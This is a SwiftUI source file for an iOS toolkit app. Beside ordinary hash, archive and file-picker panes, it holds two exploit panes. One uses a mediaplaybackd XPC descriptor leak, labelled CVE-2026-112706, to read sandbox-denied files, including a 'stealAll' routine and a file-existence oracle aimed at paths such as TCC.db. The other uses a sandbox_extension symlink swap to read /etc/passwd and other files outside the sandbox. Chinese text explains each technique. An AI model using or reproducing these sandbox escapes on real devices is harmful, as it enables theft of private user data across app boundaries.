642 lines
29 KiB
Swift
642 lines
29 KiB
Swift
import SwiftUI
|
||
import UniformTypeIdentifiers
|
||
|
||
// MARK: - Toolkit hub
|
||
|
||
struct ModView: View {
|
||
@State private var pane = 0
|
||
|
||
private var panes: [(String, String)] {
|
||
[
|
||
(t("pane.files"), "folder.fill"),
|
||
(t("pane.cross"), "arrow.left.arrow.right"),
|
||
(t("pane.symlink"), "link.badge.plus"),
|
||
(t("pane.apps"), "app.fill"),
|
||
(t("pane.prefs"), "slider.horizontal.3"),
|
||
(t("pane.procs"), "list.bullet.rectangle"),
|
||
(t("pane.daemons"), "gearshape.2.fill"),
|
||
(t("pane.crashes"), "exclamationmark.triangle.fill"),
|
||
(t("pane.binary"), "cpu"),
|
||
(t("pane.hex"), "number"),
|
||
(t("pane.xattr"), "tag.fill"),
|
||
(t("pane.sqlite"), "cylinder.split.1x2"),
|
||
(t("pane.archive"), "shippingbox.fill"),
|
||
(t("pane.hash"), "number.square.fill"),
|
||
(t("pane.fonts"), "textformat"),
|
||
(t("pane.ipa"), "wand.and.stars"),
|
||
(t("pane.backup"), "archivebox.fill"),
|
||
(t("pane.telemetry"), "gauge.medium"),
|
||
(t("pane.profiles"), "checkmark.seal.fill"),
|
||
]
|
||
}
|
||
|
||
var body: some View {
|
||
NavigationStack {
|
||
VStack(spacing: 0) {
|
||
ScrollView(.horizontal, showsIndicators: false) {
|
||
HStack(spacing: 7) {
|
||
ForEach(Array(panes.enumerated()), id: \.offset) { i, entry in
|
||
Button { pane = i } label: {
|
||
HStack(spacing: 4) {
|
||
Image(systemName: entry.1).font(.system(size: 9, weight: .semibold))
|
||
Text(entry.0)
|
||
}
|
||
.font(T.tiny)
|
||
.foregroundColor(pane == i ? T.ember : .white.opacity(0.45))
|
||
.padding(.horizontal, 8).padding(.vertical, 4)
|
||
.background(Capsule().fill(pane == i ? T.ember.opacity(0.14) : Color.clear))
|
||
.overlay(Capsule().strokeBorder(pane == i ? T.ember.opacity(0.35) : T.stroke, lineWidth: 0.6))
|
||
}
|
||
}
|
||
}
|
||
.padding(.horizontal, 16)
|
||
.padding(.vertical, 9)
|
||
}
|
||
|
||
switch pane {
|
||
case 0: FilesPane()
|
||
case 1: CrossSandboxPane()
|
||
case 2: SymlinkPane()
|
||
case 3: AppsPane()
|
||
case 4: PrefsPane()
|
||
case 5: ProcessPane()
|
||
case 6: DaemonPane()
|
||
case 7: CrashPane()
|
||
case 8: BinaryPane()
|
||
case 9: HexPane()
|
||
case 10: XattrPane()
|
||
case 11: SQLitePane()
|
||
case 12: ArchivePane()
|
||
case 13: HashPane()
|
||
case 14: FontPane()
|
||
case 15: IPAPane()
|
||
case 16: BackupPane()
|
||
case 17: TelemetryPane()
|
||
default: ProfilePane()
|
||
}
|
||
}
|
||
.background(T.bg.ignoresSafeArea())
|
||
.navigationTitle(t("mod.title"))
|
||
.navigationBarTitleDisplayMode(.inline)
|
||
}
|
||
}
|
||
}
|
||
|
||
// MARK: - Cross-sandbox reader (CVE-2026-112706)
|
||
|
||
struct CrossSandboxPane: View {
|
||
@State private var entries: [String] = []
|
||
@State private var listing = false
|
||
@State private var status = ""
|
||
@State private var handshake: [String] = []
|
||
@State private var stolen: [(name: String, bytes: Int, url: URL?)] = []
|
||
@State private var previews: [String: String] = [:]
|
||
@State private var path = FdLeak.readableDomain
|
||
@State private var oraclePath = ""
|
||
@State private var oracleResult = ""
|
||
@State private var busy = false
|
||
|
||
var body: some View {
|
||
ScrollView {
|
||
VStack(spacing: 14) {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 9) {
|
||
HStack {
|
||
SectionLabel(text: "CoreMedia bytestream")
|
||
Spacer()
|
||
Pill(text: "CVE-2026-112706", color: T.violet)
|
||
}
|
||
Text(tl("mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。"))
|
||
.font(T.body).foregroundColor(.white.opacity(0.66))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
if !handshake.isEmpty {
|
||
VStack(alignment: .leading, spacing: 1) {
|
||
ForEach(Array(handshake.enumerated()), id: \.offset) { _, line in
|
||
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.4))
|
||
}
|
||
}
|
||
}
|
||
HStack(spacing: 8) {
|
||
RunButton(title: listing ? "…" : tl("枚举目录"), systemImage: "list.bullet",
|
||
tint: T.violet, disabled: busy) { listDirectory() }
|
||
RunButton(title: busy ? "…" : tl("全部读取"), systemImage: "arrow.down.doc",
|
||
tint: T.ember, disabled: busy) { stealAll() }
|
||
}
|
||
if !status.isEmpty {
|
||
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
}
|
||
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 8) {
|
||
SectionLabel(text: tl("路径"))
|
||
TextField(FdLeak.readableDomain, text: $path)
|
||
.font(T.monoSm)
|
||
.textInputAutocapitalization(.never)
|
||
.autocorrectionDisabled()
|
||
.padding(8)
|
||
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
|
||
ForEach(Array(entries.enumerated()), id: \.offset) { _, name in
|
||
HStack(spacing: 7) {
|
||
Image(systemName: "doc").font(.system(size: 10))
|
||
.foregroundColor(.white.opacity(0.35))
|
||
Text(name).font(T.monoSm)
|
||
.foregroundColor(.white.opacity(0.72)).lineLimit(1)
|
||
Spacer()
|
||
Button {
|
||
readOne(name)
|
||
} label: {
|
||
Image(systemName: "arrow.down.circle").font(.system(size: 12))
|
||
}.tint(T.ember)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
if !oracleResult.isEmpty {
|
||
Card {
|
||
Text(oracleResult).font(T.monoSm).foregroundColor(.white.opacity(0.7))
|
||
.frame(maxWidth: .infinity, alignment: .leading)
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 8) {
|
||
SectionLabel(text: tl("存在性预言机"))
|
||
Text(tl("真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。"))
|
||
.font(T.tiny).foregroundColor(.white.opacity(0.35))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
TextField("/private/var/mobile/Library/TCC/TCC.db", text: $oraclePath)
|
||
.font(T.monoSm)
|
||
.textInputAutocapitalization(.never)
|
||
.autocorrectionDisabled()
|
||
.padding(8)
|
||
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
|
||
RunButton(title: tl("探测"), systemImage: "questionmark.circle", tint: T.info,
|
||
disabled: busy || oraclePath.isEmpty) { probeOracle() }
|
||
}
|
||
}
|
||
|
||
if !stolen.isEmpty {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 8) {
|
||
SectionLabel(text: tl("已取回"))
|
||
ForEach(Array(stolen.enumerated()), id: \.offset) { _, item in
|
||
VStack(alignment: .leading, spacing: 2) {
|
||
HStack {
|
||
Text(item.name).font(T.monoSm).foregroundColor(T.good)
|
||
Spacer()
|
||
Text("\(item.bytes) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
|
||
}
|
||
if let preview = previews[item.name] {
|
||
Text(preview).font(T.monoSm)
|
||
.foregroundColor(.white.opacity(0.4)).lineLimit(2)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
.padding(16)
|
||
}
|
||
}
|
||
|
||
private func session(_ body: @escaping (FdLeak.Session) -> Void) {
|
||
busy = true
|
||
DispatchQueue.global(qos: .userInitiated).async {
|
||
guard let s = FdLeak.Session() else {
|
||
DispatchQueue.main.async { busy = false; status = tl("会话建立失败") }
|
||
return
|
||
}
|
||
let log = s.handshakeLog
|
||
body(s)
|
||
s.shutdown()
|
||
DispatchQueue.main.async { handshake = log; busy = false }
|
||
}
|
||
}
|
||
|
||
private func listDirectory() {
|
||
session { s in
|
||
let result = s.list(path)
|
||
DispatchQueue.main.async {
|
||
entries = result.entries
|
||
status = "\(result.entries.count)" + tl(" 个条目 · mode ") + "\(String(result.vend.mode, radix: 8))"
|
||
}
|
||
}
|
||
}
|
||
|
||
private func readOne(_ name: String) {
|
||
let full = path.hasSuffix("/") ? path + name : path + "/" + name
|
||
session { s in
|
||
let (data, vend) = s.read(full)
|
||
DispatchQueue.main.async {
|
||
guard let data = data else {
|
||
status = tl("读取失败: ") + "\(vend.note)"
|
||
return
|
||
}
|
||
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(name)").path)
|
||
stolen.append((name, data.count, url))
|
||
previews[name] = String(data: data.prefix(120), encoding: .utf8)?
|
||
.replacingOccurrences(of: "\n", with: "\\n")
|
||
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
|
||
status = "✓ \(name) \(data.count) B"
|
||
}
|
||
}
|
||
}
|
||
|
||
private func stealAll() {
|
||
session { s in
|
||
var results: [(String, Int, URL?)] = []
|
||
var heads: [String: String] = [:]
|
||
for (label, target) in FdLeak.knownTargets {
|
||
let (data, _) = s.read(target)
|
||
guard let data = data else { continue }
|
||
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(label)").path)
|
||
results.append((label, data.count, url))
|
||
heads[label] = String(data: data.prefix(120), encoding: .utf8)?
|
||
.replacingOccurrences(of: "\n", with: "\\n")
|
||
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
|
||
}
|
||
DispatchQueue.main.async {
|
||
stolen = results
|
||
previews = heads
|
||
status = results.isEmpty ? tl("未取到数据") : tl("✓ ") + "\(results.count)" + tl(" 个文件")
|
||
}
|
||
}
|
||
}
|
||
|
||
private func probeOracle() {
|
||
session { s in
|
||
let e = s.probeExistence(oraclePath)
|
||
let text: String
|
||
switch e.code {
|
||
case 0: text = tl("可开(code 0)")
|
||
case FdLeak.errAccessDenied: text = tl("存在但被拒 (-12203)")
|
||
case FdLeak.errNoSuchFile: text = tl("不存在 (-17913)")
|
||
default: text = tl("错误码 ") + "\(e.code)"
|
||
}
|
||
DispatchQueue.main.async {
|
||
oracleResult = "\(text)\n\(oraclePath)"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// MARK: - Symlink escape
|
||
|
||
struct SymlinkPane: View {
|
||
@State private var target = "/etc/passwd"
|
||
@State private var result = ""
|
||
@State private var output = ""
|
||
@State private var busy = false
|
||
@State private var history: [(String, Int, Bool)] = []
|
||
|
||
private let presets = ["/etc/passwd", "/etc/group", "/etc/hosts", "/etc/services",
|
||
"/var/preferences/com.apple.networkd.plist"]
|
||
|
||
var body: some View {
|
||
ScrollView {
|
||
VStack(spacing: 14) {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 9) {
|
||
HStack {
|
||
SectionLabel(text: "sandbox_extension TOCTOU")
|
||
Spacer()
|
||
Pill(text: tl("未修复"), color: T.ember)
|
||
}
|
||
Text(tl("sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。"))
|
||
.font(T.body).foregroundColor(.white.opacity(0.66))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
Text(tl("该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。"))
|
||
.font(T.tiny).foregroundColor(.white.opacity(0.35))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 8) {
|
||
SectionLabel(text: tl("目标"))
|
||
TextField("/etc/passwd", text: $target)
|
||
.font(T.monoSm)
|
||
.textInputAutocapitalization(.never)
|
||
.autocorrectionDisabled()
|
||
.padding(8)
|
||
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
|
||
ScrollView(.horizontal, showsIndicators: false) {
|
||
HStack(spacing: 6) {
|
||
ForEach(presets, id: \.self) { p in
|
||
Button { target = p } label: {
|
||
Pill(text: (p as NSString).lastPathComponent, color: .white.opacity(0.45))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
RunButton(title: busy ? "…" : tl("越过沙盒读取"),
|
||
systemImage: "link.badge.plus", tint: T.ember, disabled: busy) { run() }
|
||
}
|
||
}
|
||
|
||
if !result.isEmpty {
|
||
Card {
|
||
Text(result).font(T.monoSm).foregroundColor(.white.opacity(0.7))
|
||
.frame(maxWidth: .infinity, alignment: .leading)
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
|
||
if !output.isEmpty {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 4) {
|
||
SectionLabel(text: tl("内容"))
|
||
Text(output)
|
||
.font(.system(size: 10, design: .monospaced))
|
||
.foregroundColor(.white.opacity(0.72))
|
||
.textSelection(.enabled)
|
||
.frame(maxWidth: .infinity, alignment: .leading)
|
||
}
|
||
}
|
||
}
|
||
|
||
if !history.isEmpty {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 4) {
|
||
SectionLabel(text: tl("记录"))
|
||
ForEach(Array(history.enumerated()), id: \.offset) { _, row in
|
||
HStack {
|
||
Image(systemName: row.2 ? "checkmark.circle.fill" : "xmark.circle")
|
||
.font(.system(size: 9))
|
||
.foregroundColor(row.2 ? T.good : .white.opacity(0.25))
|
||
Text(row.0).font(T.monoSm).foregroundColor(.white.opacity(0.6)).lineLimit(1)
|
||
Spacer()
|
||
Text("\(row.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
.padding(16)
|
||
}
|
||
}
|
||
|
||
private func run() {
|
||
busy = true
|
||
let t = target
|
||
DispatchQueue.global(qos: .userInitiated).async {
|
||
let link = Container.work.appendingPathComponent("sbx_link")
|
||
let decoy = Container.work.appendingPathComponent("sbx_decoy")
|
||
let r = SandboxExtension.readThroughSwap(target: t, link: link, decoy: decoy)
|
||
let direct = SandboxExtension.directRead(t)
|
||
DispatchQueue.main.async {
|
||
busy = false
|
||
result = [
|
||
tl("目标 ") + "\(t)",
|
||
tl("签发 ") + "\(r.issued ? tl("成功") : tl("失败"))",
|
||
tl("消费 ") + "\(r.consumed ? tl("成功") : tl("失败"))",
|
||
tl("读取 ") + "\(r.bytes)" + tl(" B"),
|
||
tl("对照 直接读 ") + (direct.errno != 0
|
||
? "errno=\(direct.errno) (\(String(cString: strerror(direct.errno))))"
|
||
: "\(direct.bytes) B"),
|
||
r.note,
|
||
].joined(separator: "\n")
|
||
if let data = r.data, let text = String(data: data.prefix(4000), encoding: .utf8) {
|
||
output = text
|
||
} else if let data = r.data {
|
||
output = data.prefix(512).map { String(format: "%02x", $0) }.joined()
|
||
} else {
|
||
output = ""
|
||
}
|
||
history.append((t, r.bytes, r.ok))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// MARK: - Hash
|
||
|
||
struct HashPane: View {
|
||
@State private var target: URL?
|
||
@State private var picking = false
|
||
@State private var results: [(String, String)] = []
|
||
@State private var busy = false
|
||
|
||
var body: some View {
|
||
ScrollView {
|
||
VStack(spacing: 14) {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 10) {
|
||
SectionLabel(text: t("pane.hash"))
|
||
Button { picking = true } label: {
|
||
HStack(spacing: 8) {
|
||
Image(systemName: "number.square.fill").font(.system(size: 12))
|
||
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
|
||
Spacer()
|
||
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
|
||
}
|
||
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
|
||
.padding(10)
|
||
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
|
||
}
|
||
if busy { ProgressView().scaleEffect(0.7) }
|
||
}
|
||
}
|
||
if !results.isEmpty {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 6) {
|
||
ForEach(Array(results.enumerated()), id: \.offset) { _, row in
|
||
VStack(alignment: .leading, spacing: 1) {
|
||
Text(row.0).font(T.tiny).foregroundColor(.white.opacity(0.35))
|
||
Text(row.1).font(T.monoSm).foregroundColor(T.good)
|
||
.textSelection(.enabled)
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
.padding(16)
|
||
}
|
||
.sheet(isPresented: $picking) {
|
||
FilePickerSheet(isPresented: $picking) { url in
|
||
target = url
|
||
compute(url)
|
||
}
|
||
}
|
||
}
|
||
|
||
private func compute(_ url: URL) {
|
||
busy = true
|
||
results = []
|
||
DispatchQueue.global(qos: .userInitiated).async {
|
||
guard let data = try? Data(contentsOf: url) else {
|
||
DispatchQueue.main.async { busy = false }
|
||
return
|
||
}
|
||
var out: [(String, String)] = [(tl("大小"), "\(data.count) B")]
|
||
out.append(("CRC32", String(format: "%08x", ZipWriter.crc32([UInt8](data)))))
|
||
out.append(("SHA-256", data.sha256Hex))
|
||
out.append(("SHA-1", data.sha1Hex))
|
||
out.append(("MD5", data.md5Hex))
|
||
DispatchQueue.main.async {
|
||
results = out
|
||
busy = false
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// MARK: - Archive
|
||
|
||
struct ArchivePane: View {
|
||
@State private var target: URL?
|
||
@State private var picking = false
|
||
@State private var entries: [PackageEntry] = []
|
||
@State private var status = ""
|
||
@State private var extractTo: String = Container.work.path
|
||
|
||
var body: some View {
|
||
ScrollView {
|
||
VStack(spacing: 14) {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 10) {
|
||
SectionLabel(text: t("pane.archive"))
|
||
Button { picking = true } label: {
|
||
HStack(spacing: 8) {
|
||
Image(systemName: "shippingbox.fill").font(.system(size: 12))
|
||
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
|
||
Spacer()
|
||
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
|
||
}
|
||
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
|
||
.padding(10)
|
||
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
|
||
}
|
||
TextField(t("files.path"), text: $extractTo)
|
||
.font(T.monoSm)
|
||
.textInputAutocapitalization(.never)
|
||
.autocorrectionDisabled()
|
||
.padding(8)
|
||
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
|
||
RunButton(title: tl("解包"), systemImage: "arrow.down.doc", tint: T.info,
|
||
disabled: target == nil) { extract() }
|
||
if !status.isEmpty {
|
||
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
|
||
.fixedSize(horizontal: false, vertical: true)
|
||
}
|
||
}
|
||
}
|
||
|
||
if !entries.isEmpty {
|
||
Card {
|
||
VStack(alignment: .leading, spacing: 3) {
|
||
SectionLabel(text: tl("内容 (") + "\(entries.count)" + tl(")"))
|
||
ForEach(entries.prefix(400)) { e in
|
||
HStack {
|
||
Text(e.name).font(T.monoSm)
|
||
.foregroundColor(.white.opacity(0.65)).lineLimit(1)
|
||
Spacer()
|
||
Text("\(e.size) B").font(T.monoSm).foregroundColor(.white.opacity(0.25))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
.padding(16)
|
||
}
|
||
.sheet(isPresented: $picking) {
|
||
FilePickerSheet(isPresented: $picking) { url in
|
||
target = url
|
||
entries = PackageTool.list(url.path)
|
||
status = "\(entries.count)" + tl(" 个条目")
|
||
}
|
||
}
|
||
}
|
||
|
||
private func extract() {
|
||
guard let target = target else { return }
|
||
status = PackageTool.extract(target.path, to: URL(fileURLWithPath: extractTo))
|
||
}
|
||
}
|
||
|
||
// MARK: - File picker
|
||
|
||
struct FilePickerSheet: View {
|
||
@Binding var isPresented: Bool
|
||
let onPick: (URL) -> Void
|
||
|
||
@State private var browser = FileBrowser(path: Container.documents.path)
|
||
@State private var jump = ""
|
||
|
||
var body: some View {
|
||
NavigationStack {
|
||
VStack(spacing: 0) {
|
||
HStack(spacing: 8) {
|
||
Button { browser.up() } label: {
|
||
Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold))
|
||
}.tint(T.ember)
|
||
TextField(t("files.path"), text: $jump)
|
||
.font(T.monoSm)
|
||
.textInputAutocapitalization(.never)
|
||
.autocorrectionDisabled()
|
||
.onSubmit { browser.chdir(jump) }
|
||
.padding(7)
|
||
.background(RoundedRectangle(cornerRadius: 7).fill(T.panel))
|
||
Button { browser.chdir(jump) } label: {
|
||
Image(systemName: "arrow.right.to.line").font(.system(size: 11, weight: .bold))
|
||
}.tint(T.ember)
|
||
}
|
||
.padding(.horizontal, 16).padding(.vertical, 8)
|
||
|
||
Text(browser.path)
|
||
.font(T.monoSm).foregroundColor(.white.opacity(0.3))
|
||
.lineLimit(1).truncationMode(.head)
|
||
.frame(maxWidth: .infinity, alignment: .leading)
|
||
.padding(.horizontal, 16).padding(.bottom, 6)
|
||
|
||
List {
|
||
ForEach(browser.items) { item in
|
||
Button {
|
||
if item.isDirectory {
|
||
browser.enter(item)
|
||
jump = item.path
|
||
} else {
|
||
onPick(URL(fileURLWithPath: item.path))
|
||
isPresented = false
|
||
}
|
||
} label: {
|
||
HStack(spacing: 10) {
|
||
Image(systemName: item.icon).font(.system(size: 12))
|
||
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
|
||
.frame(width: 18)
|
||
Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1)
|
||
Spacer()
|
||
if !item.isDirectory {
|
||
Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25))
|
||
}
|
||
}
|
||
}
|
||
.listRowBackground(T.panel)
|
||
}
|
||
}
|
||
.listStyle(.plain)
|
||
.scrollContentBackground(.hidden)
|
||
}
|
||
.background(T.bg.ignoresSafeArea())
|
||
.navigationTitle(t("files.select"))
|
||
.navigationBarTitleDisplayMode(.inline)
|
||
.toolbar {
|
||
ToolbarItem(placement: .topBarTrailing) {
|
||
Button(t("files.cancel")) { isPresented = false }.tint(T.ember)
|
||
}
|
||
}
|
||
.onAppear { jump = browser.path }
|
||
}
|
||
}
|
||
}
|